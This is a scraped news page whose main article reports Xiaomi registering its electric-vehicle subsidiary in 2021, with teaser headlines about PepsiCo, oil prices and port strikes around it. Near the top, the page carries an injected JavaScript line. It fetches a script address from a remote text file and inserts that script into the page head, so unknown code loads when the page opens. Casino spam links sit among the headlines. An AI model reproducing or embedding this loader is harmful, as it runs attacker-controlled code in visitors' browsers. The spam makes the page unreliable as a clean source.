PepsiCo Lowers Revenue Outlook Amid Sluggish Snack Sales, Global Markets
The global food and beverage giant PepsiCo has revised its full-year revenue outlook downward, citing sluggishness in its …
;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});
September 3, 2021: -Chinese smartphone giant Xiaomi has officially registered its electric vehicle business and said the division had entered a “substantial development phase,” the company said.
The subsidiary’s name is Xiaomi EV, Inc., and it was set up with a previously announced registered capital of 10 billion yuan ($1.55 billion).
In March, the Beijing-headquartered firm announced plans to launch an electric car business and invest $10 billion over the next decade.
Xiaomi EV now has 300 employees, the company said, and the business is led by the group’s founder and CEO, Lei Jun.
Xiaomi said its electric vehicle team has “conducted a massive amount of user research” in the last five months. It has also visited industry partners while “pressing ahead with the EV product definition and team formation.”
The business has yet to unveil a car. Earlier this month, Xiaomi announced it had acquired independent driving firm Deepmotion for around $77.37 million to “enhance the technological competitiveness” of its electric vehicle business.
Xiaomi, known for its smartphones and other internet-connected hardware, is jumping into an incredibly crowded space in China among start-ups like Nio and Xpeng as well-established players, including Tesla and Warren Buffett-backed BYD, a Chinese automaker.
Shares of Xiaomi were up about 1.4% in afternoon trade in Hong Kong, outperforming the broader Hang Seng index.
We provide the insights on leaders who are responsible for taking their organization to new heights, all the while bringing together a group of talented individuals.
The global food and beverage giant PepsiCo has revised its full-year revenue outlook downward, citing sluggishness in its …
Crude oil prices have declined, trading below the $74 per barrel mark, following a period of selling pressure. The retreat comes …
Vulkan Vegas ️ 50 Ds Bez Depozytu + 6000
Crude oil prices experienced a significant uptick, surpassing the 3% mark, as global markets anxiously awaited Israel’s anticipated retaliation ….
Vulkan Vegas 25 European Bonus Ohne Einzahlung 2024 25
The ongoing strike at West Coast ports has the potential to reignite inflationary pressures, with the severity of the economic impact …